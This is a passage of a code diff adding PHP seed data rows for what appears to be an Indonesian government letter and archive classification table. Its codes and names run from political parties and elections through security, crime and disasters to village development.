'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 381, + 'kode' => '206', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 382, + 'kode' => '210', + 'nama' => 'KEPARTAIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 383, + 'kode' => '211', + 'nama' => 'Lambang partai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 384, + 'kode' => '212', + 'nama' => 'Kartu tanda anggota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 385, + 'kode' => '213', + 'nama' => 'Bantuan keuangan parpol', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 386, + 'kode' => '214', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 387, + 'kode' => '215', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 388, + 'kode' => '216', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 389, + 'kode' => '220', + 'nama' => 'ORGANISASI KEMASYARAKATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 390, + 'kode' => '221', + 'nama' => 'Berdasarkan perjuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 391, + 'kode' => '221.1', + 'nama' => 'Perintis kemerdekaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 392, + 'kode' => '221.2', + 'nama' => 'angkatan 45', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 393, + 'kode' => '221.3', + 'nama' => 'Veteran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 394, + 'kode' => '222', + 'nama' => 'Berdasarkan Kekaryaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 395, + 'kode' => '222.1', + 'nama' => 'PEPABRI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 396, + 'kode' => '222.2', + 'nama' => 'Wredatama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 397, + 'kode' => '223', + 'nama' => 'Berdasarkan kerohanian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 398, + 'kode' => '224', + 'nama' => 'Lembaga adat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 399, + 'kode' => '225', + 'nama' => 'Lembaga Swadaya Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 400, + 'kode' => '226', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 401, + 'kode' => '230', + 'nama' => 'ORGANISASI PROFESI DAN FUNGSIONAL', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 402, + 'kode' => '231', + 'nama' => 'Ikatan Dokter Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 403, + 'kode' => '232', + 'nama' => 'Persatuan Guru Republik Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 404, + 'kode' => '233', + 'nama' => 'PERSATUAN SARJANA HUKUM INDONESIA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 405, + 'kode' => '234', + 'nama' => 'Persatuan Advokat Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 406, + 'kode' => '235', + 'nama' => 'Lembaga Bantuan Hukum Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 407, + 'kode' => '236', + 'nama' => 'Korps Pegawai Republik Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 408, + 'kode' => '237', + 'nama' => 'Persatuan Wartawan Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 409, + 'kode' => '238', + 'nama' => 'Ikatan Cendikiawan Muslim Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 410, + 'kode' => '239', + 'nama' => 'Organisasi Profesi Dan Fungsional Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 411, + 'kode' => '240', + 'nama' => 'ORGANISASI PEMUDA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 412, + 'kode' => '241', + 'nama' => 'Komite Nasional Pemuda Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 413, + 'kode' => '242', + 'nama' => 'Organisasi Mahasiswa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 414, + 'kode' => '243', + 'nama' => 'Organisasi Pelajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 415, + 'kode' => '244', + 'nama' => 'Gerakan Pemuda Ansor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 416, + 'kode' => '245', + 'nama' => 'Gerakan Pemuda Islam Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 417, + 'kode' => '246', + 'nama' => 'Gerakan Pemuda Marhaenis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 418, + 'kode' => '247', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 419, + 'kode' => '248', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 420, + 'kode' => '250', + 'nama' => 'ORGANISASI BURUH, TANI, NELAYAN DAN ANGKUTAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 421, + 'kode' => '251', + 'nama' => 'Federasi Buruh Seluruh Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 422, + 'kode' => '252', + 'nama' => 'Organisasi Buruh Internasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 423, + 'kode' => '253', + 'nama' => 'Himpunan Kerukunan Tani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 424, + 'kode' => '254', + 'nama' => 'Himpunan Nelayan Seluruh Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 425, + 'kode' => '255', + 'nama' => 'Keluarga Sopir Proporsional Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 426, + 'kode' => '256', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 427, + 'kode' => '257', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 428, + 'kode' => '258', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 429, + 'kode' => '260', + 'nama' => 'ORGANISASI WANITA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 430, + 'kode' => '261', + 'nama' => 'Dharma Wanita', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 431, + 'kode' => '262', + 'nama' => 'Persatuan Wanita Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 432, + 'kode' => '263', + 'nama' => 'Pemberdayaan Perempuan (wanita)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 433, + 'kode' => '264', + 'nama' => 'Kongres Wanita', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 434, + 'kode' => '265', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 435, + 'kode' => '266', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 436, + 'kode' => '267', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 437, + 'kode' => '268', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 438, + 'kode' => '269', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 439, + 'kode' => '270', + 'nama' => 'PEMILIHAN UMUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 440, + 'kode' => '271', + 'nama' => 'Pencalonan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 441, + 'kode' => '272', + 'nama' => 'Nomor Urut Partai / Tanda Gambar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 442, + 'kode' => '273', + 'nama' => 'Kampanye', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 443, + 'kode' => '274', + 'nama' => 'Petugas Pemilu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 444, + 'kode' => '275', + 'nama' => 'Pemilih / Daftar Pemilih', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 445, + 'kode' => '276', + 'nama' => 'Sarana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 446, + 'kode' => '276.1', + 'nama' => 'TPS', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 447, + 'kode' => '276.2', + 'nama' => 'Kendaraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 448, + 'kode' => '276.3', + 'nama' => 'Surat Suara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 449, + 'kode' => '276.4', + 'nama' => 'Kotak Suara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 450, + 'kode' => '276.5', + 'nama' => 'Dana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 451, + 'kode' => '277', + 'nama' => 'Pemungutan Suara / Perhitungan Suara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 452, + 'kode' => '278', + 'nama' => 'Penetapan Hasil Pemilu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 453, + 'kode' => '279', + 'nama' => 'Penetapan Perolehan Jumlah Kursi Dan Calon Terpilih', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 454, + 'kode' => '280', + 'nama' => 'Pengucapan Sumpah Janji MPR,DPR,DPD', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 455, + 'kode' => '281', + 'nama' => '', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 456, + 'kode' => '282', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 457, + 'kode' => '283', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 458, + 'kode' => '284', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 459, + 'kode' => '300', + 'nama' => 'KEAMANAN / KETERTIBAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 460, + 'kode' => '301', + 'nama' => 'Keamanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 461, + 'kode' => '302', + 'nama' => 'Ketertiban', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 462, + 'kode' => '303', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 463, + 'kode' => '310', + 'nama' => 'PERTAHANAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 464, + 'kode' => '311', + 'nama' => 'Darat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 465, + 'kode' => '312', + 'nama' => 'Laut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 466, + 'kode' => '313', + 'nama' => 'Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 467, + 'kode' => '314', + 'nama' => 'Perbatasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 468, + 'kode' => '315', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 469, + 'kode' => '316', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 470, + 'kode' => '317', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 471, + 'kode' => '320', + 'nama' => 'KEMILITERAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 472, + 'kode' => '321', + 'nama' => 'Latihan Militer', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 473, + 'kode' => '322', + 'nama' => 'Wajib Militer', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 474, + 'kode' => '323', + 'nama' => 'Operasi Militer', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 475, + 'kode' => '324', + 'nama' => 'Kekaryaan TNI Pejabat Sipil dari TNI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 476, + 'kode' => '324.1', + 'nama' => 'TMD', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 477, + 'kode' => '325', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 478, + 'kode' => '326', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 479, + 'kode' => '327', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 480, + 'kode' => '328', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 481, + 'kode' => '330', + 'nama' => 'KEAMANAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 482, + 'kode' => '331', + 'nama' => 'Kepolisian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 483, + 'kode' => '331.1', + 'nama' => 'Polisi Pamong Praja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 484, + 'kode' => '331.2', + 'nama' => 'Kamra', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 485, + 'kode' => '331.3', + 'nama' => 'Kamling', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 486, + 'kode' => '331.4', + 'nama' => 'Jaga Wana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 487, + 'kode' => '332', + 'nama' => 'Huru-Hara / Demonstrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 488, + 'kode' => '333', + 'nama' => 'Senjata Api Tajam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 489, + 'kode' => '334', + 'nama' => 'Bahan Peledak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 490, + 'kode' => '335', + 'nama' => 'Perjudian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 491, + 'kode' => '336', + 'nama' => 'Surat-Surat Kaleng', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 492, + 'kode' => '337', + 'nama' => 'Pengaduan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 493, + 'kode' => '338', + 'nama' => 'Himbauan / Larangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 494, + 'kode' => '339', + 'nama' => 'Teroris', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 495, + 'kode' => '340', + 'nama' => 'PERTAHANAN SIPIL', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 496, + 'kode' => '341', + 'nama' => 'Perlindungan Sipil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 497, + 'kode' => '342', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 498, + 'kode' => '343', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 499, + 'kode' => '344', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 500, + 'kode' => '350', + 'nama' => 'KEJAHATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 501, + 'kode' => '351', + 'nama' => 'Makar / Pemberontak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 502, + 'kode' => '352', + 'nama' => 'Pembunuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 503, + 'kode' => '353', + 'nama' => 'Penganiayaan, Pencurian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 504, + 'kode' => '354', + 'nama' => 'Subversi / Penyelundupan / Narkotika', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 505, + 'kode' => '355', + 'nama' => 'Pemalsuan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 506, + 'kode' => '356', + 'nama' => 'Korupsi / Penyelewengan / Penyalahgunaan Jabatan / KKN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 507, + 'kode' => '357', + 'nama' => 'Pemerkosaan / Perbuatan Cabul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 508, + 'kode' => '358', + 'nama' => 'Kenakalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 509, + 'kode' => '359', + 'nama' => 'Kejahatan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 510, + 'kode' => '360', + 'nama' => 'BENCANA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 511, + 'kode' => '361', + 'nama' => 'Gunung Berapi / Gempa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 512, + 'kode' => '362', + 'nama' => 'Banjir / Tanah Longsor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 513, + 'kode' => '363', + 'nama' => 'Angin Topan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 514, + 'kode' => '364', + 'nama' => 'Kebakaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 515, + 'kode' => '364.1', + 'nama' => 'Pemadam Kebakaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 516, + 'kode' => '365', + 'nama' => 'Kekeringan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 517, + 'kode' => '366', + 'nama' => 'Tsunami', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 518, + 'kode' => '367', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 519, + 'kode' => '368', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 520, + 'kode' => '370', + 'nama' => 'KECELAKAAN / SAR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 521, + 'kode' => '371', + 'nama' => 'Darat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 522, + 'kode' => '372', + 'nama' => 'Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 523, + 'kode' => '373', + 'nama' => 'Laut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 524, + 'kode' => '374', + 'nama' => 'Sungai / Danau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 525, + 'kode' => '375', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 526, + 'kode' => '376', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 527, + 'kode' => '377', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 528, + 'kode' => '380', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 529, + 'kode' => '381', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 530, + 'kode' => '382', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 531, + 'kode' => '383', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 532, + 'kode' => '390', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 533, + 'kode' => '391', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 534, + 'kode' => '392', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 535, + 'kode' => '393', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 536, + 'kode' => '400', + 'nama' => 'KESEJAHTERAAN RAKYAT', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 537, + 'kode' => '401', + 'nama' => 'Keluarga Miskin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 538, + 'kode' => '402', + 'nama' => 'PNPM Mandiri Pedesaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 539, + 'kode' => '403', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 540, + 'kode' => '404', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 541, + 'kode' => '410', + 'nama' => 'PEMBANGUNAN DESA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 542, + 'kode' => '411', + 'nama' => 'Pembinaan Usaha Gotong Royong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 543, + 'kode' => '411.1', + 'nama' => 'Swadaya Gotong Royong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 544, + 'kode' => '411.11', + 'nama' => 'Penataan Gotong Royong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 545, + 'kode' => '411.12', + 'nama' => 'Gotong Royong Dinamis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 546, + 'kode' => '411.13', + 'nama' => 'Gotong Royong Statis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 547, + 'kode' => '411.14', + 'nama' => 'Pungutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 548, + 'kode' => '411.2', + 'nama' => 'Lembaga Sosial Desa (LSD)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 549, + 'kode' => '411.21', + 'nama' => 'Pembinaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 550, + 'kode' => '411.22', + 'nama' => 'Klasifikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 551, + 'kode' => '411.23', + 'nama' => 'Proyek', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 552, + 'kode' => '411.24', + 'nama' => 'Musyawarah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 553, + 'kode' => '411.3', + 'nama' => 'Latihan Kerja Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 554, + 'kode' => '411.31', + 'nama' => 'Kader Masyarakat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 555, + 'kode' => '411.32', + 'nama' => 'Kuliah Kerja Nyata (KKN)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 556, + 'kode' => '411.33', + 'nama' => 'Pusat Latihan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 557, + 'kode' => '411.34', + 'nama' => 'Kursus-Kursus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 558, + 'kode' => '411.35', + 'nama' => 'Kurikulum / Sylabus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 559, + 'kode' => '411.36', + 'nama' => 'Ketrampilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 560, + 'kode' => '411.37', + 'nama' => 'Pramuka', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 561, + 'kode' => '411.4', + 'nama' => 'Pembinaan Kesejahteraan Keluarga (PKK)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 562, + 'kode' => '411.41', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 563, + 'kode' => '411.42', + 'nama' => 'Pembinaan Organisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 564, + 'kode' => '411.43', + 'nama' => 'Kegiatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 565, + 'kode' => '411.5', + 'nama' => 'Penyuluhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 566, + 'kode' => '411.51', + 'nama' => 'Publikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 567, + 'kode' => '411.52', + 'nama' => 'Peragaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 568, + 'kode' => '411.53', + 'nama' => 'Sosio Drama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 569, + 'kode' => '411.54', + 'nama' => 'Siaran Pedesaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 570, + 'kode' => '411.55', + 'nama' => 'Penyuluhan Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 571, + 'kode' => '411.6', + 'nama' => 'Kelembagaan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 572, + 'kode' => '411.61', + 'nama' => 'Kelompok Tani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 573, + 'kode' => '411.62', + 'nama' => 'Rukun Tani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 574, + 'kode' => '411.63', + 'nama' => 'Subak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 575, + 'kode' => '411.64', + 'nama' => 'Dharma Tirta', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 576, + 'kode' => '412', + 'nama' => 'Perekonomian Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 577, + 'kode' => '412.1', + 'nama' => 'Produksi Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 578, + 'kode' => '412.11', + 'nama' => 'Pengolahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 579, + 'kode' => '412.12', + 'nama' => 'Pemasaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 580, + 'kode' => '412.2', + 'nama' => 'Keuangan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 581, + 'kode' => '412.21', + 'nama' => 'Perkreditan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 582, + 'kode' => '412.22', + 'nama' => 'Inventarisasi Data', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 583, + 'kode' => '412.23', + 'nama' => 'Perkembangan / Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 584, + 'kode' => '412.24', + 'nama' => 'Bantuan / Stimulans', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 585, + 'kode' => '412.25', + 'nama' => 'Petunjuk / Pembinaan Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 586, + 'kode' => '412.3', + 'nama' => 'Koperasi Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 587, + 'kode' => '412.31', + 'nama' => 'Badan Usaha Unit Desa (BUUD)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 588, + 'kode' => '412.32', + 'nama' => 'Koperasi Usaha Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 589, + 'kode' => '412.4', + 'nama' => 'Penataan Bantuan Pembangunan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 590, + 'kode' => '412.41', + 'nama' => 'Jumlah Desa Yang Diberi Bantuan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 591, + 'kode' => '412.42', + 'nama' => 'Pengarahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 592, + 'kode' => '412.43', + 'nama' => 'Pusat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 593, + 'kode' => '412.44', + 'nama' => 'Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 594, + 'kode' => '412.5', + 'nama' => 'Alokasi Bantuan Pembangunan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 595, + 'kode' => '412.51', + 'nama' => 'Pusat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 596, + 'kode' => '412.52', + 'nama' => 'Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 597, + 'kode' => '412.6', + 'nama' => 'Pelaksanaan Bantuan Pembangunan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 598, + 'kode' => '412.61', + 'nama' => 'Bantuan Langsung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 599, + 'kode' => '412.62', + 'nama' => 'Bantuan Keserasian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 600, + 'kode' => '412.63', + 'nama' => 'Bantuan Juara Lomba Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 601, + 'kode' => '413', + 'nama' => 'Prasarana Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 602, + 'kode' => '413.1', + 'nama' => 'Prasarana Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 603, + 'kode' => '413.11', + 'nama' => 'Pembinaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 604, + 'kode' => '413.12', + 'nama' => 'Bimbingan Teknis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 605, + 'kode' => '413.2', + 'nama' => 'Pemukiman Kembali Penduduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 606, + 'kode' => '413.21', + 'nama' => 'Lokasi', + 